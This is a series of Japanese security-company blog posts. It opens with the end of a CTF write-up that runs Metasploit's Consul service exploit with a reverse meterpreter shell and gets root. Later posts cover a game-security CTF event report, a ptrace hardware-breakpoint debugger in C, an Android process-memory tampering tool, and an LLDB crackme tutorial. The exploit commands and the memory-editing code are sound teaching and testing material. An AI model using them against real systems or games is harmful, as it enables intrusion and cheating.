ビンゴです!ACLトークンが過去バージョンにてハードコードされていました。
これで全ての条件を満たしました。
では早速エクスプロイトしましょう。
方法は色々とありますが、今回は「Metasploit」を使用します。
Metasploitの説明をするととても長くなってしまうのですが、簡単に説明すると、オープンソースのペネトレーションテスト用プラットフォームです。様々な脆弱性に対するエクスプロイトコードが備わっており、ペネトレーションテスター御用達のツールです。
*とても便利なツールの一方、脆弱性について詳しく理解していない状態でもエクスプロイトが可能なため、学習目的の方は、Exploit-DBなどで公開されているエクスプロイトコードを読むことをお勧めします。
Metasploitでエクスプロイトする前に、前準備としてSSHトンネルを実行しておきます。(Metasploitは kali linux 側にあるので、SSHトンネルしておかないとエクスプロイトできません。)
┌──(kali㉿kali)-[~] └─$ ssh -N -L 8500:localhost:8500 developer@10.10.11.183
ではMetasploitでエクスプロイトを開始します。
まず起動しましょう。
┌──(kali㉿kali)-[~] └─$ msfconsole
そして該当の脆弱性を選択します。
msf6 > search consul Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/struts_dev_mode 2012-01-06 excellent Yes Apache Struts 2 Developer Mode OGNL Execution 1 exploit/multi/http/clipbucket_fileupload_exec 2018-03-03 excellent Yes ClipBucket beats_uploader Unauthenticated Arbitrary File Upload 2 auxiliary/scanner/misc/dahua_dvr_auth_bypass normal No Dahua DVR Auth Bypass Scanner 3 post/windows/manage/dell_memory_protect manual No Dell DBUtilDrv2.sys Memory Protection Modifier 4 exploit/linux/http/groundwork_monarch_cmd_exec 2013-03-08 excellent Yes GroundWork monarch_scan.cgi OS Command Injection 5 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec 6 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API 7 exploit/windows/misc/ibm_director_cim_dllinject 2009-03-10 excellent Yes IBM System Director Agent DLL Injection 8 exploit/unix/webapp/joomla_media_upload_exec 2013-08-01 excellent Yes Joomla Media Manager File Upload Vulnerability 9 auxiliary/admin/http/limesurvey_file_download 2015-10-12 normal No Limesurvey Unauthenticated File Download 10 exploit/windows/local/cve_2020_0668_service_tracing 2020-02-11 excellent No Service Tracing Privilege Elevation Vulnerability 11 exploit/windows/browser/sonicwall_addrouteentry 2007-11-01 normal No SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow 12 auxiliary/admin/http/sophos_wpa_traversal 2013-04-03 normal No Sophos Web Protection Appliance patience.cgi Directory Traversal 13 exploit/windows/antivirus/symantec_endpoint_manager_rce 2014-02-24 excellent Yes Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution Interact with a module by name or index. For example info 13, use 13 or use exploit/windows/antivirus/symantec_endpoint_manager_rce msf6 > use 6 [*] Using configured payload linux/x86/meterpreter/reverse_tcp
そしてオプションを設定します。
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5 ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5 msf6 exploit(multi/misc/consul_service_exec) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf6 exploit(multi/misc/consul_service_exec) > set lhost 10.10.14.17 lhost => 10.10.14.17
準備が整ったのでいざ実行です。
msf6 exploit(multi/misc/consul_service_exec) > run [*] Started reverse TCP handler on 10.10.14.17:4444 [*] Creating service 'AMnCbzYWM' [*] Service 'AMnCbzYWM' successfully created. [*] Waiting for service 'AMnCbzYWM' script to trigger [*] Sending stage (1017704 bytes) to 10.10.11.183 [*] Meterpreter session 1 opened (10.10.14.17:4444 -> 10.10.11.183:32818) at 2023-04-26 03:34:21 -0400 [*] Removing service 'AMnCbzYWM' [*] Command Stager progress - 100.00% done (763/763 bytes) meterpreter > shell Process 2277 created. Channel 1 created. pwd / whoami root f60039f5429c4c9e9c9064650f5244da
rootユーザーになることができました。
これにて「Ambassador」の攻略が終了しました。お疲れ様です!
まとめ
いかがだったでしょうか。
説明を省略した箇所も多々ありますが、ペネトレーションテスト(外部サーバーへの侵入)の流れや面白さについて知っていただければ幸いです。
ペネトレーションテストのCTFでは、Webアプリケーションの脆弱性からLinux内部の脆弱性まで様々な知識を学ぶことが可能なため、私個人としてはサイバーセキュリティを学ぶにあたって、とてもおすすめの学習方法であると考えています。(何と言ってもシェルをとれた時の嬉しさがやみつきになります。)
ペネトレーションテストやアプリケーション診断などをご希望の方は、ぜひ一度弊社にお問い合わせください!
ninjastars.ninja
注意事項
本記事に記載されている内容を許可されていないサーバーに対して実行すると、犯罪行為となる可能性があります。そのため、記事の内容を試す際には許可されたサーバーに対してのみ実施するようにしてください。
本レポートについて
お問い合せ
E-mail: engineer@ninjastars-net.com
株式会社Ninjastars セキュリティエンジニア
ミナト
ゲーム会社対抗セキュリティコンテスト(CTF):大会レポート
株式会社Ninjastars
セキュリティエンジニア
一瀬健二郎
2021年5月14日
日本マイクロソフト様に後援いただき、オンラインにて弊社主催の
ゲーム会社対抗セキュリティコンテスト(CTF)を開催しました。
各社激戦の中、優勝は同率1位で株式会社コナミデジタルエンタテインメント様、KLab株式会社様
3位は株式会社トイロジック様でした。
おめでとうございます!
また各問題のゲームサーバーは全てMicrosoft Azureを利用させていただきました。
概要
本イベントでは主にUnityで制作した実際のゲームを題材に、ゲームセキュリティの基本から応用まで幅広く出題しました。
Windows、Andoridを対象に以下のような要素を問う問題を作成しました。
・Unity il2cppの改変apkを作成
・Cheat Engineでのメモリチート、デバッガ解析
・BurpSuiteでの通信解析、SQLインジェクション
etc
実際のアプリケーションを攻撃者目線で解析いただき、セキュリティ対策の必要性や知見を学んで頂きました。
問題紹介




感想
私自身は作問、難易度調整、チュートリアル作成、解析ツール作成等を担当しました。
解答に苦労した中で非常に勉強になったという言葉や楽しかったという言葉を多くいただき、嬉しい限りです。
参加していただいた各ゲーム会社様、後援いただいた日本マイクロソフト様には大変感謝しております。
次回のゲーム会社対抗セキュリティコンテストでは
さらに多くのゲーム会社様のご参加をお待ちしています。
弊社ではより長期的で継続的なゲームセキュリティ運用を
サポートするためにこのようにゲーム開発系専門学校様にて
後続のホワイトハッカー育成にも力を入れています。
blog85.neec.ac.jp

注意事項
本レポートに記載されている内容を許可されていないソフトウェアで行うと、場合によっては犯罪行為となる可能性があります。そのため、記事の内容を試す際には許可されたソフトウェアに対してのみ実施するようにしてください。
本レポートについて
お問い合せ
E-mail:ichise@ninjastars-net.com
株式会社Ninjastarsエンジニア
一瀬健二郎
Linux ハードウェアブレークポイントを実装する
株式会社Ninjastars
セキュリティエンジニア:一瀬健二郎
今回はLinux上でptraceシステムコールを用いて、ハードウェアブレークポイントを実装してみます。
ブレークポイントを設置したメモリ領域が読み書きされたり、実行された場合プログラムが停止し解析が可能になります。
デバッガの原理を知ることにより、より低レイヤーに興味を持っていただければ幸いです。

今回やること
ハードウェアブレークポイントを実装してメモリのアクセス元を調べたり、プログラムにブレークポイントを設置します。
簡単のため対象プロセスはシングルスレッドを想定します。
※今回の内容はある程度ptraceについてやデバッガの基本的な原理が分かっている方向けです。
ハードウェアブレークポイントについて
プログラムをINT 3命令(x86の場合)等に書き換えるソフトウェアブレークポイントと違い、CPUのデバッグレジスタを用いてブレークポイントを設置します。
以下の方の記事が参考になるのでご一読ください。(※Windows用ですが実装の参考にさせて頂きました)
qiita.com
リバースエンジニアリング的観点からの利点
・プログラム領域を書き換える訳ではないため、チェックサム等がある場合も検知されない。
・特定メモリ領域にアクセスする処理を知ることが出来る。(通称WatchPoint)
特にWatchPointが重要であり、特定の文字列や特定の重要な値を参照してる箇所を特定できればプログラムの解析が容易になります。
逆に言えば、解析から守る上ではこういったデバッガの原理を知ることは非常に重要なことであると思います。
※WatchPointは該当メモリのアクセス属性を変更して、強制的に例外を発生させる方法も存在します。
ptraceシステムコールについて
当ブログでも幾つかの記事を書かせていただきました。
ptraceシステムコールによって対象プロセスのメモリの値を読み書きしたり、レジスタの値を取得・改変したり可能です。
自作ゲーム:チートチャレンジ - 株式会社Ninjastars 技術研究部
Linux/Android マルチスレッド対応のデバッガの実装 - 株式会社Ninjastars 技術研究部
今回はデバッグレジスタにアクセスするのに、PTRACE_PEEKUSER/PTRACE_POKEUSERというオプションを利用します。
詳しくはManのページを参照ください。
surf.ml.seikei.ac.jp
導入
まず64bitのOS上で32bitをコンパイルするため32bit用のライブラリをインストール必要があります。
sudo apt-get install libc6-dev-i386
gcc -no-pie counter.c -o counter gcc -no-pie hwbp.c -o hwbp gcc -m32 -no-pie counter.c -o counter32 gcc -m32 -no-pie hwbp.c -o hwbp32
上記ファイルについての内容は以下です。
- counter:変数の値とアドレスを表示するプログラム。
- hwbp:指定したアドレスにハードウェアブレークポイントを設置するプログラム。
実験
./counter
sudo ./hwbp pid x.address 3 #pidとx.addressはcounterに応じて変更。
counterを実行し、hwbpでxのアドレスにハードウェアブレークポイント(Read/Write)を設置します。
counter自身がxにアクセスする毎に、デバッガであるhwbpがアクセス時のRIPの値を取得します。


hwbpの引数の3はブレークする条件です。
0:Execute(実行時のみ)
1:Write Only(メモリ書き込み時のみ)
2:未定義
3:Read/Write(メモリ読み込み/書き込み時)
引数を変えたりして、色々と試してみましょう。
実装
各レジスタの役割は最初に引用させていただいたQiitaの方の記事に詳しく書いてあります。
DR7レジスタの表は下記サイトが理解しやすかったので引用させて頂きます。
x86asm.net
DR7レジスタについて
| bit(s) | mnemonic | description |
|---|---|---|
| 31-30 | LEN3 | Length of Breakpoint #3 |
| 29-28 | R/W3 | Type of Transaction to Trap for Breakpoint #3 |
| 27-26 | LEN2 | Length of Breakpoint #2 |
| 25-24 | R/W2 | Type of Transaction to Trap for Breakpoint #2 |
| 23-22 | LEN1 | Length of Breakpoint #1 |
| 21-20 | R/W1 | Type of Transaction to Trap for Breakpoint #1 |
| 19-18 | LEN0 | Length of Breakpoint #0 |
| 17-16 | R/W0 | Type of Transaction to Trap for Breakpoint #0 |
| 6 | L3 | Local Exact Breakpoint #3 Enabled |
| 4 | L2 | Local Exact Breakpoint #2 Enabled |
| 2 | L1 | Local Exact Breakpoint #1 Enabled |
| 0 | L0 | Local Exact Breakpoint #0 Enabled |
ブレークポイントのサイズと値の対応
| 00b | 1byte |
| 01b | 2 byte |
| 10b | 未定義(プロセッサによっては8 byte) |
| 11b | 4 byte |
ブレークポイントのタイプと値の対応
| 00b | 実行時にブレークする。この時サイズは1byte(値:00b)でなければいけない。 |
| 01b | メモリ書き込み時ブレークする。 |
| 10b | 未定義(※CR4のDEフラグによって異なる。) |
| 11b | メモリ読み込み時または書き込み時にブレークする。実行時はブレークしない。 |
まずDR0,DR1,DR2,DR3のレジスタにはブレークポイントを設置するアドレスを代入します。
次にDR7レジスタに上記表に応じて各bitに値を代入します。
//DR7レジスタの現在の状態を取得 int Dr7 = ptrace(PTRACE_PEEKUSER, pid, offsetof(struct user, u_debugreg[7]), 0); //slotに応じて0,2,4,6bit目にフラグを立てる Dr7 |= 1<<(available*2); //slotに応じて16,20,24,28bit目にブレークポイントのタイプを代入 Dr7 |= condition<<(available*4+16); //slotに応じて18,22,26,30bit目にブレークポイントの長さ(上記表の対応で)を代入 Dr7 |= length<<(available*4+18); //DR7レジスタの値を更新する。 ptrace(PTRACE_POKEUSER, pid, offsetof(struct user, u_debugreg[7]), Dr7);
このような形でハードウェアブレークポイントを設置します。
後はデバッガの原理で発生した例外のSIGTRAPを補足し、制御します。
まとめ
今回はハードウェアブレークポイントについて簡潔に説明させていただきました。
特にWatchPointを有効に利用すると、プロセスメモリ解析からその裏で動く処理を特定することが可能です。
「自分で実際に実装してみる」ことを通して解析の楽しさを感じたり、セキュリティ対策について学ぶきっかけとなれば幸いです。
ソースコード
counter.c
#include<stdio.h> #include<unistd.h> int main() { int x = 0; printf("pid:%d\n",getpid()); while(1) { #if defined(__i386__) printf("x.value = %d x.addrss = 0x%x\n",x,(unsigned int)&x); #else printf("x.value = %d x.addrss = 0x%llx\n",x,(unsigned long long)&x); #endif x++; sleep(5); } return 0; }
hwbp.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/user.h> #include <stddef.h> #define CONDITION_EXECUTE 0x0 #define CONDITION_WRITE_ONLY 0x1 #define CONDITION_IO_READ_WRITE 0x2//x86・x64では未実装 #define CONDITION_READ_WRITE 0x3 #define LENGTH_BYTE 0x0 #define LENGTH_WORD 0x1 #define LENGTH_QWORD 0x2 #define LENGTH_DWORD 0x3 char hardware_breakpoints[4] = {0,0,0,0}; int get_slot(int pid) { int Dr6 = ptrace(PTRACE_PEEKUSER, pid, offsetof(struct user, u_debugreg[6]), 0); int slot = 0; if (Dr6&0x1 && hardware_breakpoints[0] == 1) slot = 0; else if(Dr6&0x2 && hardware_breakpoints[1] == 1) slot = 1; else if(Dr6&0x4 && hardware_breakpoints[2] == 1) slot = 2; else if(Dr6&0x8 && hardware_breakpoints[3] == 1) slot = 3; else slot = -1; return slot; } int bp_del_hw(int pid,int slot) { //入力値の例外処理 if(!(0<=slot && 3>=slot)) return -1; if(hardware_breakpoints[slot]==0) return 0; hardware_breakpoints[slot] = 0; int Dr7 = ptrace(PTRACE_PEEKUSER, pid, offsetof(struct user, u_debugreg[7]), 0); Dr7 &= ~(3<<slot*2); Dr7 &= ~(3<<slot*4+16); Dr7 &= ~(3<<slot*4+18); ptrace(PTRACE_POKEUSER, pid, offsetof(struct user, u_debugreg[slot]), 0); ptrace(PTRACE_POKEUSER, pid, offsetof(struct user, u_debugreg[7]), Dr7); return 1; } int bp_set_hw(int pid ,void * address, int length, int condition) { //入力値の例外処理 if(!(0<=length && 3>=length)) return -1; if(!(0<=condition && 3>=condition)) return -1; int available = 0; if(0 == hardware_breakpoints[0]) available = 0; else if(0 == hardware_breakpoints[1]) available = 1; else if(0 == hardware_breakpoints[2]) available = 2; else if(0 == hardware_breakpoints[3]) available = 3; else{ return -1; } hardware_breakpoints[available] = 1; int Dr7 = ptrace(PTRACE_PEEKUSER, pid, offsetof(struct user, u_debugreg[7]), 0); Dr7 |= 1<<(available*2); Dr7 |= condition<<(available*4+16); Dr7 |= length<<(available*4+18); int r1 = ptrace(PTRACE_POKEUSER, pid, offsetof(struct user, u_debugreg[available]), address); int r2 = ptrace(PTRACE_POKEUSER, pid, offsetof(struct user, u_debugreg[7]), Dr7); if(r1==0 && r2==0) { return 1; } else { printf("set breakpoint error\n"); return -1; } } int main(int argc, char *argv[]) { pid_t pid=atoi(argv[1]); unsigned long long address=strtoll(argv[2],NULL,0); int condition = atoi(argv[3]); //対象プロセスにアタッチ ptrace(PTRACE_ATTACH, pid, 0, 0); waitpid(pid, NULL, 0); //ハードウェアブレークポイントを設置 bp_set_hw(pid,address,LENGTH_BYTE,condition); //プロセスを再開させる int status; ptrace(PTRACE_CONT, pid, 0, 0); printf("Continuing.\n"); while(1) { //ブレイクするまで待機する waitpid(pid, &status, 0); if (WIFEXITED(status)) { printf("Program exited normally.\n"); exit(0); } if (WIFSTOPPED(status)) printf("Breakpoint.\n"); else exit(1); int signum = WSTOPSIG(status); if(signum==SIGTRAP) { //Dr0-3のどのレジスタ番号であるかを取得 //int slot = get_slot(pid); //printf("slot:%d\n",slot); //レジスタの値を取得 struct user_regs_struct regs; ptrace(PTRACE_GETREGS, pid, 0, ®s); #if defined(__i386__) printf("EIP:0x%x\n",(unsigned int)regs.eip); #else printf("RIP:0x%llx\n",(unsigned long long)regs.rip); #endif ptrace(PTRACE_CONT,pid,0,0); } else if(signum==19 ||signum==21) { //シグナル番号19と21は無視する。 ptrace(PTRACE_CONT, pid, 0, 0); } else { ptrace(PTRACE_CONT,pid,0,signum); } } //bp_del_hw(pid,0); //プロセスからデタッチする。処理が動き出す。 //ptrace(PTRACE_DETACH, pid, 0, 0); return 0; }
注意事項
本レポートに記載されている内容を許可されていないソフトウェアで行うと、場合によっては犯罪行為となる可能性があります。そのため、記事の内容を試す際には許可されたソフトウェアに対してのみ実施するようにしてください。
本レポートについて
お問い合せ
E-mail:ichise@ninjastars-net.com
株式会社Ninjastarsエンジニア
一瀬健二郎
REST API形式のサーバ型メモリ改竄ツールを作った話
株式会社Ninjastars
セキュリティエンジニア:一瀬健二郎
今回は弊社の紹介を兼ねて脆弱性診断用に作成しているツール(Android用)のお話をさせて頂きます。
内容はタイトルの通りですが、プロセス解析機能をAPI化してPC側からアクセスして操作するタイプとなります。
オリジナルのツールを作成することで得られる学びや楽しさを感じ取っていただければ幸いです。
※あくまで紹介であり、ツールを公開する予定もありません。

※オリジナルのThe Go gopher(Gopherくん)は、Renée Frenchによってデザインされました。
出来たもの
APIの例
端末のURLとポート番号を指定し、リクエストを送ることでデータの送受信が可能です。
・GET:/processes
内容:json形式でプロセスリストを返す。
[{"Pid":1,"Name":"/init/init /init"},{"Pid":311,"Name":"/init/init /sbin/ueventd"},...]
・POST:/maps
内容:指定プロセスIDの/proc/pid/mapsの情報をjson形式で返す。
[{"Start":4194304,"End":5304320,"Name":"/init","Permission":"r-xp"},{"Start":5369856,"End":5394432,"Name":"/init",...]
・POST:/readmem
内容:指定プロセスIDのメモリを読み込みバイト列を返す。
・POST:/writemem
内容:指定プロセスIDのメモリに値を書き込む。
・POST:/firstscan
内容:指定プロセスIDのメモリを検索し、ヒットしたアドレスを返す。
・POST:/nextscan
内容:firstscanでヒットしたアドレスから更に絞り込んだアドレスを返す。
etc
他のプロセスのメモリを読み書きする
以前このブログではLinux/Androidでptraceや/proc/pid/memを使い他プロセスのメモリを読み書きする手法について紹介しました。
[Linux ptraceによる手法]
自作ゲーム:チートチャレンジ - 株式会社Ninjastars 技術研究部
自作ゲーム:チートチャレンジ2 - 株式会社Ninjastars 技術研究部
[Android /proc/pid/memによる手法]
Android 他のプロセスのメモリを読み書きする - 株式会社Ninjastars 技術研究部
Linux系OSでは他にもprocess_vm_readv/process_vm_writev等を使う手法も存在します。
AndroidNDKでは直接呼び出せないため、syscall関数経由で呼び出す必要があります。
色々理由はありますが、Androidの場合メモリの読み込みはprocess_vm_readvを使い、書き込みはptraceを使うのがお勧めです。
メモリ読み機能の実装(C)
ssize_t process_vm_readv(pid_t pid, const struct iovec *local_iov, unsigned long liovcnt, const struct iovec *remote_iov, unsigned long riovcnt, unsigned long flags) { return syscall(__NR_process_vm_readv,pid,local_iov,liovcnt,remote_iov,riovcnt,flags); } //この関数をGoから呼び出す int ReadProcessMemory(int pid,unsigned long long lpAddress, void* buffer, int size) { int bread = 0; struct iovec local,remote; local.iov_base = buffer; local.iov_len = size; remote.iov_base = (void*)lpAddress; remote.iov_len = size; bread = process_vm_readv(pid, &local, 1, &remote, 1, 0); return bread; }
プロセスメモリを検索する
Linux/Androidでは/proc/pid/mapsで対象プロセスのメモリマップを読み取ることが出来ます。
アカツキ様のブログに詳細に記載されています。
hackerslab.aktsk.jp
まとめ
以前同じようなツールをC言語でTCPのソケット通信を使い、構造体のバイトサイズ等を厳密に指定してサーバを実装していました。
Goを使いREST形式のサーバ化することにより簡略化出来るのには大変感動しました。
またCGOを使えばGoからCも呼び出せるので、より低レイヤーな部分はCで実装するということも出来ます。
私自身プログラミングやアルゴリズムについて語れるほど詳しくはありませんが、開発をしていてとても楽しかったです。
実用性はおいて、勉強や診断効率化に自作ツールを作ってみるのは大変お勧めです。
注意事項
本レポートに記載されている内容を許可されていないソフトウェアで行うと、場合によっては犯罪行為となる可能性があります。そのため、記事の内容を試す際には許可されたソフトウェアに対してのみ実施するようにしてください。
本レポートについて
お問い合せ
E-mail:ichise@ninjastars-net.com
株式会社Ninjastarsエンジニア
一瀬健二郎
ゲームセキュリティエンジニアとして心がけていること
株式会社Ninjastars
セキュリティエンジニア:一瀬健二郎
今回は弊社の活動を知っていただくために、私自身のエンジニアとしての日々の考え方や心がけていることなどをお話しさせていただきます。
こういった現場の生の声を届けることで、現在のゲームアプリのセキュリティ事情等のご理解に繋がればと思います。

どんな業務?
ゲーム会社等からの依頼を受け、主にブラウザゲームやソーシャルゲームの脆弱性診断を行います。
対象のアプリはリリース前であったり、現在稼働中のゲームであったり様々です。
弊社では実際の攻撃者と同じ状況で診断するブラックボックス診断を主に行っています。
調査するアプリには商用のプロテクトがかかっている場合もあります。
所謂チート行為等のクラッキングの危険性・可能性を事前に調査して危険度などを分析したうえでレポートに纏めて提出します。
また報告会等を併せて行いクライアント様の疑問点、質問に答えます。
こういった詳細な情報共有はクライアント様から高い評価を頂いています。
必要な最低限の知識
Webセキュリティの基本的な知識
アセンブリ言語の知識(x86,ARM,ARM64)
一定のプログラミング能力(c/python等)
etc
エンジニアとしては当然ですが、何より自分で主体的に考えたり調べたりすることが重要だと思います。
使用ツール例
弊社でも取り上げていたGhidraやプロキシツールとしてBurpSuite等を基本に利用しています。
また弊社独自の内製ツールを作成し、痒いところに手が届くように実装して診断の効率化を図っています。
・メモリ解析・改変ツール
・通信解析ツール
etc
やりがいを感じる点
診断の中で開発者様が様々な工夫を凝らしてチート対策を実装していると感じられることが多々あります。
そうした対策が多重に重ねられたゲームを診断するのは非常に難しいですが、考えられうるあらゆる攻撃手法を試して調査します。
悪戦苦闘しながら、診断毎に自分の中でゲームセキュリティに対する確かな知見・技術が身に付けられているのを実感しています。
何よりクライアント様から診断レポート等を評価して頂ける声を聞いたときは本当に嬉しい気持ちになります。
心がけていること
私自身は単にツールを使うだけでなく、ツールが動作する原理などの理解を重要視しています。
今までの経験からそうした原理的な分析・理解が詳細な分析やチート対策の更なる理解に繋がると実感しています。
また勉強の一環としてOSSにContributeしたり、ソースコードを読み解き改良版を作ったりしています。

攻撃と防御の二つの理解が重要
弊社では業務の一環としてチート対策の研究も行っています。
その中で感じることが多いのが、特にクライアントサイドセキュリティにおいては攻撃と防御は重なり合っているという点です。
防御用に実装したチート対策のプログラムが、診断時に攻撃用のツールに転用出来たりするということが少なくありません。
逆もまたしかりで、日々の診断時の知見が防御手法の実装に大いに役立っています。
攻撃と防御、この二つは共に重要な両輪であると考え日々学んでいます。
もっと楽しく安全なゲームの世界を創る
このブログのサブタイトルにもあるこの言葉ですが、どんな意味ですかと聞かれることが時々あります。
正直私自身崇高な理念を持って仕事をしているのかというと必ずしもそうではありません。
一つだけ言えることは、この業界は技術の世界であり、その場の思い付きなどの付け焼刃では人の役に立つこともできません。
ゲームセキュリティという分野は非常に高い技術・知識を要求される世界だと思います。
セキュリティエンジニアとして確かな技術を身につけるために、弛まぬ努力を続けていく所存であります。
注意事項
本レポートに記載されている内容を許可されていないソフトウェアで行うと、場合によっては犯罪行為となる可能性があります。そのため、記事の内容を試す際には許可されたソフトウェアに対してのみ実施するようにしてください。
本レポートについて
お問い合せ
E-mail:ichise@ninjastars-net.com
株式会社Ninjastarsエンジニア
一瀬健二郎
はじめてのLLDB Android ARM64解析入門
株式会社Ninjastars
セキュリティエンジニア:一瀬健二郎
今回はAndroid ARM64でビルドされたcrackmeを対象に、lldbとlldb-serverを用いて動的解析を行います。
lldbの使い方を学べばiOSアプリケーションの解析にも応用でき、ARM64の理解はスマホアプリの脆弱性診断などでも重要です。
次世代の高機能デバッガであるlldbの使い方を学び診断に役立てましょう。
※本稿ではARM64については簡単に触れる程度にします。

環境
今回はlldbとlldb-serverを用いてリモートデバッグを行います。
lldbの都合上ホストOSはUbuntuを利用しますが、これは仮想マシン上でも可能です。
またAndroid実機が必要となりますが、root化している必要はありません。
Host:
Ubuntu 20.04LTS(VMWare上等でも可能)
LLDB-10
lldb-server(arm64-v8a AndroidStudio付属)
Guest:
Android実機(64bit)
※root化している必要はありません。
導入
Ubuntu上にlldbのインストール
sudo apt update sudo apt upgrade sudo apt install lldb-10
Ubuntu上にadbのインストール
sudo apt install adb
lldb-serverの取得
Download Android Studio and SDK tools | Android Developers
上記サイトからLinux(64-bit) android-studio-ide-xxxをダウンロードして展開してください。
android-studio/bin/lldb/android/arm64-v8aにlldb-serverが存在します。
このフォルダにTerminal上で移動してください。
またAndroid実機とPCをUSBで接続し、Androidの開発者オプションでUSBデバッグをオンにしてください。
adb push lldb-server /data/local/tmp adb shell chmod a+x /data/local/tmp/lldb-server
lldb-serverの起動
UbuntuのTerminal上で下記コマンドを入力することでAndroid実機上でlldb-serverがListen状態で起動します。
adb shell cd /data/local/tmp ./lldb-server platform --listen *:1234
lldbの起動とlldb-serverとのコネクト
UbuntuのTerminal上で下記コマンドを入力することでlldb-serverとコネクト出来ます。
lldb-10 #lldbが起動 platform select remote-android platform connect connect://localhost:1234
起動確認
lldbに以下コマンドを入力してみましょう。
platform process list
以下のように出力されれば成功です。
crackmeの解析
以下からcrackmeをダウンロードしてください。
drive.google.com
以下コマンドでcrackmeを起動できます。
#転送+権限付与 adb push crackme /data/local/tmp adb shell chmod a+x /data/local/tmp/crackme #起動 adb shell cd /data/local/tmp ./crackme

Please Input Key.と出力されるので、適当に入力すると終了してしまいます。
これを今からlldbとlldb-serverを用いて解析してみましょう。
まずcrackmeのプロセスIDを取得します。
platform process list

それではlldbでcrackmeにアタッチしてみましょう。
#attach pid attach 20484

crackmeにアタッチ成功すると上のような状態になります。
lldbで現在のバックトレースを取得します。
thread backtrace
#もしくは下記
bt

バックトレースの結果からmain関数内でscanfが呼び出され、その内部でのreadが呼び出されてる状態であると分かります。
それではmain関数を逆アセンブルしてみましょう。
disassemble --name main #もしくは下記 di -n main

ここでx*やw*等の見慣れないレジスタが表示されています。
ARM64アーキテクチャの基本については下記の方のサイトが大変参考になります。ARM64について初見の方は下記のサイトでレジスタや命令について把握してください。
www.mztn.org
まずmain関数の逆アセンブル結果からstrlen関数を呼び出した後にx0レジスタと3を比較していることが分かります。
strlen関数は文字列長を返す関数であり、ARM64において戻り値は基本的にx0レジスタに格納されます。
main+60においてb.neのジャンプ先の次の命令がexitになっているため、文字列長が3でないとプログラムが終了するということが分かります。
よって文字列長は3であると判明しました。
次にmain+92においてw10レジスタとw8レジスタを比較し、一致していなければ次のb.neでwrongにジャンプすることが分かります。
つまりこのw10レジスタとw8レジスタを一致させるような入力を与えれば良いと分かります。
lldbから一旦crackmeを終了させます。
process kill
再度lldbでcrackmeにアタッチしてください。
main+92にブレークポイントをセットします。
breakpoint set --address main+92 #もしくは下記 br s -a main+92
停止中のプログラムを再開します。
continue #もしくは下記 c
この状態でcrackmeで適当に3文字"abc"と入力するとmain+92でブレークします。
lldbでレジスタの状態を取得します。
register read

w10レジスタ(x10レジスタの下位32bit)にはasciiコードで入力文字列であるabcが逆になったcba、w8レジスタ(x8レジスタの下位32bit)にはFLEという数値が格納されていることが分かります。
つまり入力文字列で"ELF"と与えれば良いということが分かります。

最後になりますが、lldbのコマンド等は下記公式サイトの一覧が分かりやすく纏まっています。
lldb.llvm.org
まとめ
lldbについて今回は簡潔に解説させていただきましたが、実際は非常に多機能に渡ります。
私自身も勉強中であり、常に情報をキャッチアップし脆弱性診断などに的確に利用して行きたいと思います。
本稿が読者の皆様の診断・学習の手助けとなれば幸いです。
注意事項
本レポートに記載されている内容を許可されていないソフトウェアで行うと、場合によっては犯罪行為となる可能性があります。そのため、記事の内容を試す際には許可されたソフトウェアに対してのみ実施するようにしてください。
本レポートについて
お問い合せ
E-mail:ichise@ninjastars-net.com
株式会社Ninjastarsエンジニア
一瀬健二郎

